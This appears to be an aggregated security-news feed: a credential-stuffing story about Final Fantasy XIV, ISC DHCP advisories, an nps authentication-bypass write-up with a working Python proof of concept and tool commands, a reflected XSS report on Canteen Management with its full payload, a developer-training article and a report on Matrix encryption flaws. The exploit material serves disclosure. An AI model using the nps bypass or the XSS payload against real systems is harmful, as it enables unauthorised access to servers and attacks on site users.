Categories: News
Tags: Final Fantasy XIV

Tags:  Square Enix

Tags:  phishing

Tags:  credential stuffing

Tags:  theft

Tags:  steal

Tags:  compromise

Tags:  hijack

Attackers are preying on accounts with passwords used on other sites and services.



(Read more...)




The post Credential stuffers take aim at Final Fantasy XIV players appeared first on Malwarebytes Labs.

Square Enix, the company behind video games like Final Fantasy XIV, reports that a third party is attempting to gain access to its Account Management System.

How is this happening, and what are the risks? More importantly, what do you need to do to ensure your accounts are safe from harm?

**Credential stuffing**

Square Enix notes the following in relation to these compromise attempts:

> \[The attackers\] are using a combination of email addresses and passwords that appear to have been obtained from other online services of other companies.

In other words, logins guessed, stolen, scammed or leaked from other websites—weeks, months, or even years ago (or all three)—are now being tried against the system responsible for Final Fantasy logins in a systematic "credential stuffing" attack.

People often use the same password on multiple websites and services. This can scale upwards in gaming circles, where:

*   Younger users may not be interested in creating different passwords, and may struggle with the idea of using password managers.
*   They end up with so many gaming logins via related platforms, services, or even individual titles that it’s easier for them to reuse one password for every login.

This is fertile ground for scammers, and once an account is hijacked all manner of mischief is on the table. They can be sold, traded, or have valuable digital items syphoned off to who knows where. All in all, not the best situation for fans of any title to find themselves in.

**Warding off the threat of compromise**

This is very much something where people who think they may be at risk can take proactive steps to lock down their account. As Square Enix puts it:

> Using the same email address and password combination for your Square Enix account as you do for other online services increases the possibility of a third party gaining unauthorized access to your Square Enix account. Furthermore, even if your email address and password combination is not identical to those used for other services, there is still a high risk of your account being compromised if your password contains easily discernible patterns or sequences of characters, such as your date of birth.

*   Familiarise yourself with password management tools, and save yourself the hassle of worrying about reused credentials. As a bonus, some manager tools with autofill enabled won’t work on bogus websites so if you ever land on a phish, it won’t work and you’ll know instantly that you’re on the wrong site.
*   Make use of the Square Enix app which secures your account with One Time Passwords whenever you login. If the worst does happen and a scammer obtains your login details, they won’t be able to access your account unless they also somehow manage to obtain your OTP code. A word of warning here: Phishers increasingly do target additional forms of verification, occasionally asking for codes on fake websites. This is where combining your OTP habits with a password manager looking for bogus pages will pay dividends.

Accounts which may have been compromised will find their access restricted for the time being, and are being sent instructions to reset their passwords. With any luck, this particular attack will fizzle out as word spreads of the tactics and the publisher continues to shut down the bogus login attempts.

Stay safe out there!

Credential stuffers take aim at Final Fantasy XIV players

In ISC DHCP 1.0 -> 4.4.3, ISC DHCP 4.1-ESV-R1 -> 4.1-ESV-R16-P1 a system with access to a DHCP server, sending DHCP packets crafted to include fqdn labels longer than 63 bytes, could eventually cause the server to run out of memory.

**CVE:** CVE-2022-2929

**Document version:** 2.0

**Posting date:** 5 October 2022

**Program impacted:** ISC DHCP

**Versions affected:**

ISC DHCP:

*   1.0.0 -> 4.1-ESV-R16-P1
*   4.2.0 -> 4.4.3.

**Severity:** Medium

**Exploitable:**

From any adjacent networks from which an attacker can send requests to an ISC DHCP server.

**Description:**

The function "fqdn\_universe\_decode()" allocates buffer space for the contents of option 81 (fqdn) data received in a DHCP packet. The maximum length of a DNS "label" is 63 bytes. The function tests the length byte of each label contained in the "fqdn"; if it finds a label whose length byte value is larger than 63, it returns without dereferencing the buffer space. This will cause a memory leak.

**Impact:**

A system with access to a DHCP server, sending DHCP packets crafted to include "fqdn" labels longer than 63 bytes, could eventually cause the server to run out of memory.

**CVSS Score:** 6.5

**CVSS Vector:** AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

For more information on the Common Vulnerability Scoring System and to obtain your specific environmental score please visit: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H&version=3.1

**Workarounds:**

As exploiting this vulnerability requires an attacker to send packets for an extended period of time, restarting servers periodically could be a viable workaround.

**Active exploits:**

We are not aware of any active exploits.

**Solution:**

Upgrade to the patched release most closely related to your current version of ISC DHCP. These can all be downloaded from https://www.isc.org/downloads.

*   4.4.3-P1
*   4.1-ESV-R16-P2

**Acknowledgments:**

ISC would like to thank VictorV of Cyber Kunlun Lab for discovering and reporting this issue.

**Document revision history:**

1.0 Early Notification, 28 September 2022  
2.0 Public Disclosure, 5 October 2022

**Do you still have questions?** Questions regarding this advisory should go to security-officer@isc.org. _To report a new issue, please encrypt your message using security-officer@isc.org's PGP key which can be found here: https://www.isc.org/pgpkey/. If you are unable to use encrypted email, you may also report new issues at: https://www.isc.org/reportbug/._

**Note:**

ISC patches only currently supported versions. When possible we indicate EOL versions affected. (For current information on which versions are actively supported, please see https://www.isc.org/download/.)

**ISC Security Vulnerability Disclosure Policy:**

Details of our current security advisory policy and practice can be found in the ISC Software Defect and Security Vulnerability Disclosure Policy at https://kb.isc.org/docs/aa-00861.

The Knowledgebase article https://kb.isc.org/docs/cve-2022-2929 is the complete and official security advisory document.

**Legal Disclaimer:**

Internet Systems Consortium (ISC) is providing this notice on an "AS IS" basis. No warranty or guarantee of any kind is expressed in this notice and none should be implied. ISC expressly excludes and disclaims any warranties regarding this notice or materials referred to in this notice, including, without limitation, any implied warranty of merchantability, fitness for a particular purpose, absence of hidden defects, or of non-infringement. Your use or reliance on this notice or materials referred to in this notice is at your own risk. ISC may change this notice at any time. A stand-alone copy or paraphrase of the text of this document that omits the document URL is an uncontrolled copy. Uncontrolled copies may lack important information, be out of date, or contain factual errors.

CVE-2022-2929: CVE-2022-2929 DHCP memory leak

In ISC DHCP 4.4.0 -> 4.4.3, ISC DHCP 4.1-ESV-R1 -> 4.1-ESV-R16-P1, when the function option_code_hash_lookup() is called from add_option(), it increases the option's refcount field. However, there is not a corresponding call to option_dereference() to decrement the refcount field. The function add_option() is only used in server responses to lease query packets. Each lease query response calls this function for several options, so eventually, the reference counters could overflow and cause the server to abort.

**CVE:** CVE-2022-2928

**Document version:** 2.0

**Posting date:** 5 October 2022

**Program impacted:** ISC DHCP

**Versions affected:**

ISC DHCP :

*   4.1-ESV-R1 -> 4.1-ESV-R16-P1
*   4.4.0 -> 4.4.3.

Other branches of ISC DHCP (i.e., releases in the 4.0.x series or lower and releases in the 4.3.x series) are beyond their End-of-Life (EOL) and are no longer supported by ISC. From code inspection, it is probable, all versions after the introduction of lease query in ISC DHCP 3.0 are affected.

**Severity:** Medium

**Exploitable:**

Vulnerable servers are those that are both network accessible to an attacker and configured to allow and process lease queries.

**Description:**

When the function "option\_code\_hash\_lookup()" is called from "add\_option()", it increases the option's "refcount" field. However, there is not a corresponding call to "option\_dereference()" to decrement the "refcount" field. The function "add\_option()" is only used in server responses to lease query packets. Each lease query response calls this function for several options, so eventually, the reference counters could overflow and cause the server to abort.

**Impact:**

With a DHCP server configured with "allow leasequery;", a remote machine with access to the server can send lease queries for the same lease multiple times, leading to the "add\_option()" function being repeatedly called. This could cause an option's "refcount" field to overflow and the server to abort. Internally, reference counters are integers and thus overflow at 2^31 references, so even at 1000 lease query responses per second, it would take more than three weeks to crash the server.

**CVSS Score:** 6.5

**CVSS Vector:** AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

For more information on the Common Vulnerability Scoring System and to obtain your specific environmental score please visit: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H&version=3.1  

**Workarounds:**

Disable lease query on the server for DHCPv4 or restart the server periodically.

**Active exploits:**

We are not aware of any active exploits.

**Solution:**

Upgrade to the patched release most closely related to your current version of ISC DHCP. These can all be downloaded from https://www.isc.org/downloads.

*   4.4.3-P1
*   4.1-ESV-R16-P2

**Acknowledgments:**

ISC would like to thank VictorV of Cyber Kunlun Lab for discovering and reporting this issue.

**Document revision history:**

1.0 Early Notification, 28 September 2022  
2.0 Public Disclosure, 5 October 2022

**Do you still have questions?** Questions regarding this advisory should go to security-officer@isc.org. _To report a new issue, please encrypt your message using security-officer@isc.org's PGP key which can be found here: https://www.isc.org/pgpkey/. If you are unable to use encrypted email, you may also report new issues at: https://www.isc.org/reportbug/._

**Note:**

ISC patches only currently supported versions. When possible we indicate EOL versions affected. (For current information on which versions are actively supported, please see https://www.isc.org/download/.)

**ISC Security Vulnerability Disclosure Policy:**

Details of our current security advisory policy and practice can be found in the ISC Software Defect and Security Vulnerability Disclosure Policy at https://kb.isc.org/docs/aa-00861.

The Knowledgebase article https://kb.isc.org/docs/cve-2022-2928 is the complete and official security advisory document.

**Legal Disclaimer:**

Internet Systems Consortium (ISC) is providing this notice on an "AS IS" basis. No warranty or guarantee of any kind is expressed in this notice and none should be implied. ISC expressly excludes and disclaims any warranties regarding this notice or materials referred to in this notice, including, without limitation, any implied warranty of merchantability, fitness for a particular purpose, absence of hidden defects, or of non-infringement. Your use or reliance on this notice or materials referred to in this notice is at your own risk. ISC may change this notice at any time. A stand-alone copy or paraphrase of the text of this document that omits the document URL is an uncontrolled copy. Uncontrolled copies may lack important information, be out of date, or contain factual errors.

CVE-2022-2928: CVE-2022-2928 An option refcount overflow exists in dhcpd

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

**Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication**

Critical severity GitHub Reviewed Published Oct 6, 2022 • Updated Oct 6, 2022

GHSA-gr7w-x2jp-3xgw: Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

NPS before v0.26.10 was discovered to contain an authentication bypass vulnerability via constantly generating and sending the Auth key and Timestamp parameters.

**nps Authentication Bypass**

*   Affected product: V0.19.0<=nps<=V0.26.10
*   Attack type: Remote
*   Vulnerability Type: Incorrect Access Control
*   Affected component: /nps/web/controllers/base.go
*   Description: nps<=v0.26.10 was discovered to contain a authentication bypass vulnerability via constantly generating and sending the Auth key and Timstamp parameters. Hackers can gain access to proxy information and control traffic through this vulnerability.

**POC**

A tool from github https://github.com/carr0t2/nps-auth-bypass

    python scan.py -u http://1.1.1.1:8080/

**Details**

In /nps/web/controllers/base.go

In /nps/nps.conf

The auth key in the configuration file is annotated by default, so it is empty

Webapi’s auth_key is calculated through the auth_key and timestamp in the configuration file, so you can dynamically generate Webapi’s auth_key

The last to get into the website backstage

**Temporary Fixes**

    sed -i "s/auth_crypt_key =1234567812345678/auth_crypt_key=$(head /dev/urandom | tr -dc a-f0-9 | head -c 16)/" /etc/nps/conf/nps.conf   
    sed -i "s/#auth_key=test/auth_key=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 32)/" /etc/nps/conf/nps.conf   

**nps认证绕过漏洞分析****环境搭建**

项目地址 https://github.com/ehang-io/nps

    git clone https://github.com/ehang-io/nps --depth 1
    cd nps
    docker run -it --name nps --net=host -v /root/github/nps/conf:/conf  ffdfgdfg/nps # 记得改挂载路径

**漏洞成因**

> 源于错误的用户配置

nps有web api功能(文档：https://github.com/ehang-io/nps/blob/master/docs/api.md)

该功能默认开启

默认配置如下 /etc/nps/conf/nps.conf:53

    #auth_key=test
    auth_crypt_key =1234567812345678

**影响范围**

V0.19.0<=nps<=V0.26.10

**临时修复方法**

修改配置文件，只有这个才能临时完全修复（网上许多说法讲的不全）

( 去掉auth_key注释 && 修改auth_key为随机字符串 && 修改auth_crypt_key为长度为16的十六进制随机字符串 ) || ( 去掉auth_key注释 && 修改auth_key为随机字符串 && 注释auth_crypt_key)

    sed -i "s/auth_crypt_key =1234567812345678/auth_crypt_key=$(head /dev/urandom | tr -dc a-f0-9 | head -c 16)/" /etc/nps/conf/nps.conf   
    sed -i "s/#auth_key=test/auth_key=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 32)/" /etc/nps/conf/nps.conf   

**正式修复办法**

（等开发者）

首次运行时生成随机字符串

或者检测auth_key配置为123或为空时,跳到登录页面

**原理分析****代码分析**

在/nps/web/controllers/base.go

32行从url参数中获取auth_key（key和时间戳hash过的结果）

33行从url参数中获取timestamp

34行从配置中获取auth_key，默认配置下，auth_key被注释，所以返回为nil

35行获取当前本地时间戳

36行判断 ( 字符串不等于空字符串 && 当前本地时间与33行时间相差小于20s && 配置文件的authkey与当前时间戳生成的hash与32行传入的auth_key是否相等 )

如果满足的话即可成为admin，进入后台

**构造过程**

那么只需要满足36行的各个条件

第一个 md5Key != "" 恒为真

第二个 时间戳本地实时生成

第三个 因为auth_key默认为空，所以只需要本地对时间戳md5即可

所以构造非常简单，以下为python代码

**poc**

    import requests
    import time
    import hashlib
    
    now_timestamp = str(int(time.time()))
    auth_key = hashlib.md5(now_timestamp.encode()).hexdigest()
    
    burp0_url = f"http://xxx/?auth_key={auth_key}&timestamp={now_timestamp}"
    r = requests.get(burp0_url)
    if "title-admin" in r.text:
        print("Success")

**工具**

假如需要访问web界面进入后台，需要每20s生成timestamp和auth_key

所以这里使用mitmproxy作为中间人，自动生成并插入timestamp和auth_key

我已经写好了工具上传至github https://github.com/carr0t2/nps-auth-bypass

**使用方法**

web端 可以直接在浏览器访问后台

    git clone https://github.com/carr0t2/nps-auth-bypass
    cd nps-auth-bypass
    mitmdump -s main.py -p 8000 --ssl-insecure --mode reverse:http://x.x.x.x:x/

浏览器访问 http://127.0.0.1:8000/

**其他脚本**

可以联动fofax批量获取代理等

CVE-2022-40494: CVE-2022-40494 | Carrot2

Canteen Management version 1.0-2022 suffers from a cross site scripting vulnerability.

## Title: Canteen-Management-1.0-2022 suffers from XSS-Reflected  
## Author: nu11secur1ty  
## Date: 10.04.2022  
## Vendor: https://www.mayurik.com/  
## Software: https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/mayuri_k/2022/Canteen-Management/Docs/youthappam.zip?raw=true  
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Canteen-Management

## Description:  
The Canteen-Management-1.0-2022 suffers from XSS-Reflected vulnerability.  
The name of an arbitrarily supplied URL parameter is copied into the  
value of an HTML tag attribute which is encapsulated in double  
quotation marks.  
The attacker can craft a very malicious HTTPS URL redirecting to a  
very malicious URL. When the victim clicks into this crafted URL the  
game will over for him.

STATUS: High vulnerability

[+]Payload REQUEST:

```HTML  
GET /youthappam/login.php/lu555%22%3E%3Ca%20href=%22https://pornhub.com/%22%20target=%22_blank%22%20rel=%22noopener%20nofollow%20ugc%22%3E%20%3Cimg%20src=%22https://raw.githubusercontent.com/nu11secur1ty/XSSight/master/nu11secur1ty/images/IMG_0068.gif?token=GHSAT0AAAAAABXWGSKOH7MBFLEKF4M6Y3YCYYKADTQ&rs=1%22%20style=%22border:1px%20solid%20black;max-width:100%;%22%20alt=%22Photo%20of%20Byron%20Bay,%20one%20of%20Australia%27s%20best%20beaches!%22%3E%20%3C/a%3Emv2me  
HTTP/1.1  
Host: pwnedhost.com  
Accept-Encoding: gzip, deflate  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Language: en-US;q=0.9,en;q=0.8  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62  
Safari/537.36  
Connection: close  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="106", "Chromium";v="106"  
Sec-CH-UA-Platform: Windows  
Sec-CH-UA-Mobile: ?0  
```

[+]Payload RESPONSE:

```burp  
HTTP/1.1 200 OK  
Date: Tue, 04 Oct 2022 09:44:55 GMT  
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6  
X-Powered-By: PHP/8.1.6  
Set-Cookie: PHPSESSID=m1teao9b0j86ep94m6v7ek7fe6; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 6140  
Connection: close  
Content-Type: text/html; charset=UTF-8

<link rel="stylesheet" href="assets/css/popup_style.css">  
           <style>  
.footer1 {  
  position: fixed;  
  bottom: 0;  
  width: 100%;  
  color: #5c4ac7;  
  text-align: center;  
}

</style>  
   <!DOCTYPE html>  
<html lang="en">

<head>  
    <meta charset="utf-8">  
    <meta http-equiv="X-UA-Compatible" content="IE=edge">

<meta charset="utf-8">  
<meta name="viewport" content="width=device-width, initial-scale=1.0,  
user-scalable=0, minimal-ui">  
<meta http-equiv="X-UA-Compatible" content="IE=edge" />  
<meta name="description" content="">  
<meta name="keywords" content="">  
<meta name="author" content="">

    <link rel="icon" type="image/png" sizes="16x16"  
href="assets/uploadImage/Logo/favicon.png">

             <style type="text/css">  
@media print {  
    #printbtn {  
        display :  none;  
    }  
}  
</style>  
    <title>Youthappam Canteen Management System - by Mayuri K.  
Freelancer</title>

  <link href="assets/css/lib/chartist/chartist.min.css" rel="stylesheet">  
  <link href="assets/css/lib/owl.carousel.min.css" rel="stylesheet" />  
    <link href="assets/css/lib/owl.theme.default.min.css" rel="stylesheet" />

    <link href="assets/css/lib/bootstrap/bootstrap.min.css" rel="stylesheet">

    <link href="assets/css/helper.css" rel="stylesheet">  
    <link href="assets/css/style.css" rel="stylesheet">  
 <link rel="stylesheet"  
href="assets/css/lib/html5-editor/bootstrap-wysihtml5.css" />  
 <link href="assets/css/lib/calendar2/semantic.ui.min.css" rel="stylesheet">  
    <link href="assets/css/lib/calendar2/pignose.calendar.min.css"  
rel="stylesheet">  
     <link href="assets/css/lib/sweetalert/sweetalert.css" rel="stylesheet">  
     <link href="assets/css/lib/datepicker/bootstrap-datepicker3.min.css"  
rel="stylesheet">

    <script type="text/javascript"  
src="https://www.gstatic.com/charts/loader.js"></script>  
    <script type="text/javascript">  
      google.charts.load("current", {packages:["corechart"]});  
      google.charts.setOnLoadCallback(drawChart);  
      function drawChart() {  
        var data = google.visualization.arrayToDataTable([  
          ['Food', 'Average sale per Day'],  
          ['Masala dosa',     11],  
          ['Chicken 65 ',      2],  
          ['Karapu Boondi',  2],  
          ['Bellam Gavvalu', 2],  
          ['Gummadikaya Vadiyalu',    7]  
        ]);

        var options = {  
          title: 'Food Average Sale per Day',  
          pieHole: 0.4,  
        };

        var chart = new  
google.visualization.PieChart(document.getElementById('donutchart'));  
        chart.draw(data, options);  
      }  
    </script>  
</head>

<body class="fix-header fix-sidebar">

<div id="page"></div>  
<div id="loading"></div>

    <div id="main-wrapper">  
        <div class="unix-login">

            <div class="container-fluid" style="background-image:  
url('assets/myimages/background.jpg');  
 background-color: #ffffff;background-size:cover">  
                <div class="row">  
                    <div class="col-lg-4 ml-auto">  
                        <div class="login-content">  
                            <div class="login-form">  
                                <center><img  
src="./assets/uploadImage/Logo/logo.png" style="width:  
100%;"></center><br>  
                                <form  
action="/youthappam/login.php/lu555"><a href="https:/pornhub.com/"  
target="_blank" rel="noopener nofollow ugc"> <img  
src="https:/raw.githubusercontent.com/nu11secur1ty/XSSight/master/nu11secur1ty/images/IMG_0068.gif"  
method="post" id="loginForm">  
                                    <div class="form-group">

                                        <input type="text"  
name="username" id="username" class="form-control"  
placeholder="Username" required="">

                                    </div>  
                                    <div class="form-group">

                                        <input type="password"  
id="password" name="password" class="form-control"  
placeholder="Password" required="">  
                                    </div>

                                    <button type="submit" name="login"  
class="f-w-600 btn btn-primary btn-flat m-b-30 m-t-30">Sign  
in</button>

                                

<div class="forgot-phone text-left f-left">  
<a href = "mailto:mayuri.infospace@gmail.com?subject = Project  
Development Requirement&body = I saw your projects. I want to develop  
a project" class="text-right f-w-600"> Click here to contact me</a>  
</div>  
                                </form>  
                            </div>  
                        </div>  
                    </div>  
                </div>  
            </div>  
        </div>  
    </div>

    <script src="./assets/js/lib/jquery/jquery.min.js"></script>

    <script src="./assets/js/lib/bootstrap/js/popper.min.js"></script>  
    <script src="./assets/js/lib/bootstrap/js/bootstrap.min.js"></script>

    <script src="./assets/js/jquery.slimscroll.js"></script>

    <script src="./assets/js/sidebarmenu.js"></script>

    <script src="./assets/js/lib/sticky-kit-master/dist/sticky-kit.min.js"></script>

    <script src="./assets/js/custom.min.js"></script>  
    <script>

function onReady(callback) {  
    var intervalID = window.setInterval(checkReady, 1000);  
    function checkReady() {  
        if (document.getElementsByTagName('body')[0] !== undefined) {  
            window.clearInterval(intervalID);  
            callback.call(this);  
        }  
    }  
}

function show(id, value) {  
    document.getElementById(id).style.display = value ? 'block' : 'none';  
}

onReady(function () {  
    show('page', true);  
    show('loading', false);  
});  
    </script>  
</body>

</html>  
```

## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/edit/main/vendors/mayuri_k/2022/Canteen-Management)

## Proof and Exploit:  
[href](https://streamable.com/emg0zo)

## More:  
[href](https://www.nu11secur1ty.com/)

Done:

На вт, 4.10.2022 г. в 23:24 ч. nu11 secur1ty <nu11secur1typentest@gmail.com>  
написа:

> Tomorow I will send to you. BR  
>  
> On Tue, Oct 4, 2022, 19:11 Packet Storm <packet@packetstormsecurity.com>  
> wrote:  
>  
>> Missing submission  
>>  
>> On Tue, Oct 04, 2022 at 02:23:16PM +0300, nu11 secur1ty wrote:  
>> >  
>> https://www.nu11secur1ty.com/2022/10/example-of-professional-penetration.html  
>> >  
>> https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Canteen-Management  
>> > --  
>> > System Administrator - Infrastructure Engineer  
>> > Penetration Testing Engineer  
>> > Exploit developer at https://packetstormsecurity.com/  
>> > https://cve.mitre.org/index.html and https://www.exploit-db.com/  
>> > home page: https://www.nu11secur1ty.com/  
>> > hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=  
>> >                           nu11secur1ty <http://nu11secur1ty.com/>  
>>  
>

--   
System Administrator - Infrastructure Engineer  
Penetration Testing Engineer  
Exploit developer at https://packetstormsecurity.com/  
https://cve.mitre.org/index.html and https://www.exploit-db.com/  
home page: https://www.nu11secur1ty.com/  
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=  
                          nu11secur1ty <http://nu11secur1ty.com/>

Canteen Management 1.0-2022 Cross Site Scripting

Professional developers want to do the right thing, but in terms of security, they are rarely set up for success. Organizations must support their upskilling with precision training and incentives if they want secure software from the ground up.
The cyber threat landscape grows more complex by the day, with our data widely considered highly desirable “digital gold”. Attackers are constantly

_Professional developers want to do the right thing, but in terms of security, they are rarely set up for success. Organizations must support their upskilling with precision training and incentives if they want secure software from the ground up._

The cyber threat landscape grows more complex by the day, with our data widely considered highly desirable "digital gold". Attackers are constantly scanning networks for vulnerable applications, programs, cloud instances, and the latest flavor of the month is APIs, with Gartner correctly predicting that they would become the most common attack vector in 2022, and that is in no small part thanks to their often lax security controls.

Threat actors are so persistent that new apps can sometimes be compromised and exploited within hours of deployment. The Verizon 2022 Data Breach Investigations Report reveals that errors and misconfigurations were the cause of 13% of breaches, with the human element responsible overall for 82% of the 23,000 analyzed incidents.

It's becoming very clear that the only way to truly fortify the software being created is to ensure that it's built on secure code. In other words, the best way to stop the threat actor invasion is to deny them a foothold into your software in the first place. Cybercriminals are at a distinct advantage against organizations scrambling to defend their often vast attack surface, and any windows of opportunity that can be shut for good significantly reduce risk.

****We make it hard for security stars to shine****

The current status quo for developers at many organizations is such that their primary role is to build awesome features and deploy software at speed. The faster that developers can code and deploy, the more valuable they tend to be seen in terms of their performance reviews.

Security can be an afterthought, if considered at all, and is conspicuously absent as a measure of developer success. The 2022 State of Developer-Driven Security Survey in conjunction with Evans Data supports this outlook, with 86% of surveyed developers revealing that they do not view application security as a top priority. Instead, much of that is left to the application security (AppSec) teams to figure out. AppSec teams tend to be a source of frustration to most developers, because they would often send completed applications back into development to apply security patches, or to rewrite code to remediate vulnerabilities. And every hour that a developer spent working on an app that was already "finished" was an hour they were not creating new apps and features, thus decreasing their performance (and their value, in the eyes of a particularly punitive company).

However, the modern threat environment has forced everyone, from companies to government departments, to rethink the importance and prioritization of security, and they would be well-placed to consider how the development cohort fits into a defensive approach. According to the recent 2022 Cost of a Data Breach Report from IBM and the Ponemon Institute, the average cybersecurity breach now costs about $4.24 million per incident, although that is hardly the upper limit. The companies of today want the security offered by DevSecOps, but, sadly, have been slow to reward developers who answer that call.

Simply telling the development teams to consider security won't work, especially if they are still being incentivized based on speed alone. In fact, within such a system, developers who take the time to learn about security and secure their code could actually be losing out on better performance reviews and lucrative bonuses that their less-security-aware colleagues continue to earn. It's almost like companies are unwittingly rigging the system for their own security shortcomings, and it comes back to their perception of the development team. If they're not seeing them as the security frontlines, then it's very unlikely a viable plan to utilize their workforce will come to fruition.

And this doesn't even account for the lack of training. Some very skilled developers have decades of experience coding, but very little when it comes to security… after all, it was never required of them, nor a measure of success or quality work. Unless a company provides a good training program, it can hardly expect its developers to suddenly gain new skills and put them into action in a meaningful way that actively reduces vulnerabilities.

(**_Want to compete against other elite developers from around the world, or nominate your own dev team of security superstars? Join_** **_Secure Code Warrior_****_'s_** **_2022 Devlympics_****_, our biggest and best global secure coding tournament, and you could win big!)_**

****Rewarding developers for good security practices****

The good news is that the overwhelming majority of developers do their job because they find it both challenging and rewarding, and because they enjoy the respect that their position entails. Lifelong software engineer Michael Shpilt recently wrote about all of the things that motivate him and his colleagues in their development work. Yes, he lists monetary compensation among those incentives, but it's surprisingly far down the list. Instead, he prioritizes the thrill of creating something new, skills development, and the satisfaction of knowing that his work is going to be directly used to help others. He also talks about wanting to feel valued within his company and community. In short, developers are no different to a lot of good people who take pride in their work.

Developers like Shpilt don't want threat actors compromising their code and using it to harm their company, or the very users they are trying to help. But, they can't suddenly shift their priorities to security without support.

To help development teams improve their cybersecurity prowess, they must first be taught the necessary skills. Utilizing a tiered approach to learning - as well as tools that are purpose-built to integrate seamlessly into their actual workflow - can make this process much less painful while helping to build upon existing knowledge in the right context.

With a commitment to upskilling in place, the old methods of evaluating developers based solely on speed need to be eliminated. Instead, developers should be rewarded based on their ability to create good, secure coding patterns, with the best candidates becoming security champions that help the rest of the team improve their skills. And those champions need to be rewarded with both company prestige and monetary compensation. It's also important to remember that developers don't typically have a positive experience with security, and uplifting them with positive, fun learning and incentives that speak to their interests will go a long way to ensuring both knowledge retention and a desire to keep building skills.

(**_Want to compete against other elite developers from around the world, or nominate your own dev team of security superstars? Join_** **_Secure Code Warrior_****_'s_** **_2022 Devlympics_****_, and you could take out a major cash prize in our global tournaments!)_**

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Want More Secure Software? Start Recognizing Security-Skilled Developers

Confidentiality and authentication flaws uncovered by researchers

Emma Woollacott 04 October 2022 at 14:49 UTC  
Updated: 04 October 2022 at 16:00 UTC

Confidentiality and authentication flaws uncovered by researchers

Matrix has patched five serious vulnerabilities in its end-to-end encryption that break the confidentiality and authentication of messages.

The flaws would allow a malicious server to read user messages and impersonate devices.

Matrix currently has 69 million accounts in total, spread over around 100,000 servers. The technology provides a federated communication protocol, allowing clients with accounts on different Matrix servers – their homeservers – to exchange messages across the entire ecosystem.

The platform enables end-to-end encryption by default.

However, four researchers – Martin Albrecht of the Royal Holloway, University of London, Sofía Celi of Brave Software, Benjamin Dowling of the University of Sheffield, and Daniel Jones of the University of London – have demonstrated (PDF) five practically-exploitable flaws.

**Fairly straightforward**

The vulnerabilities, two of which are rated critical, undermine assurances of authentication and confidentiality normally offered by the Matrix platform.

"All our attacks require a malicious homeserver – the server where users create accounts – i.e., no external party could mount them because all Matrix communication between clients and servers and between servers for federation are protected by TLS," Albrecht told The Daily Swig.

Catch up with the latest encryption-related news and analysis

"Now, for a malicious homeserver, carrying out these attacks would have been easy. We have implemented proof-of-concept attacks for the vulnerabilities we reported, and these \[are\] usually fairly straightforward."

The first critical vulnerability, CVE-2022-39250, is key/device identifier confusion in SAS verification, a bug in matrix-js-sdk that confuses device IDs and cross-signing keys. “This could be exploited by a malicious server admin to break emoji-based verification when cross-signing is in use, authenticating themselves rather than the target user,” according to a security notice by the developers of Matrix.

The other critically-rate flaw, CVE-2022-39251, is a protocol-confusion bug that incorrectly accepts to-device messages encrypted by Megolm rather than Olm, attributing them to the Megolm sender rather than the actual sender. The vulnerability potentially allows an attacker to send fake keys in order to spoof historical messages from other users.

In addition, the flaw creates a means to add a malicious key backup to a user’s account in order to exfiltrate message keys. Matrix’s developers said this attack scenario, which would require certain unusual preconditions, has not been detected in the wild.

**Impersonation attack**

Meanwhile, a semi-trusted impersonation attack exploits a lack of verification in Element in order to send attacker-controlled Megolm sessions to a target device, falsely posing as a session of the device they wish to impersonate.

Another vulnerability allows a malicious homeserver to add users under their control to end-to-end encrypted rooms – where they can then decrypt future messages sent in the room. This happens because room management messages aren’t authenticated in the Matrix specification, meaning they can be faked by a rogue homeserver.

Lastly Matrix’s use of AES-CTR to encrypt attachments, secrets, and symmetric key backups was faulted for lacking cryptographical rigour. Not good but, as the researchers acknowledge, this IND-CCA break falls short of anything that would result in a practical attack.

The researchers conclude that some of the vulnerabilities reside in the Matrix protocol itself, saying that they highlight the need for a systematic and formal analysis of the cryptography in the Matrix standard.

**Enter the Matrix**

However, the developers of Matrix dispute this.

"We consider the protocol itself to be sound and our security processes to be robust," Matthew Hodgson, co-founder and project lead for Matrix and CEO/CTO at Element, told The Daily Swig.

"For instance, we’re currently in the middle of a series of public, independent audits of our next-gen SDKs \[software development kits\] from Least Authority, and it’s worth noting that our next-gen implementations are not vulnerable to the implementation bugs in question here."

Albrecht responded: "The Matrix developers have shared with us their plans for addressing the issues we argued about, so we are hopeful that eventually the right outcome – Matrix achieving the security guarantees that it promises – will be achieved."

Element offers the flagship client and prototype implementation of Matrix.

RELATED Let’s Encrypt builds infrastructure to support browser-based certificate revocation revival

Matrix address flaws that break message encryption assurances

Bento4 v1.6.0-639 was discovered to contain a memory leak in the AP4_AvcFrameParser::Feed function in mp4mux.

**Summary**

Hi there,  
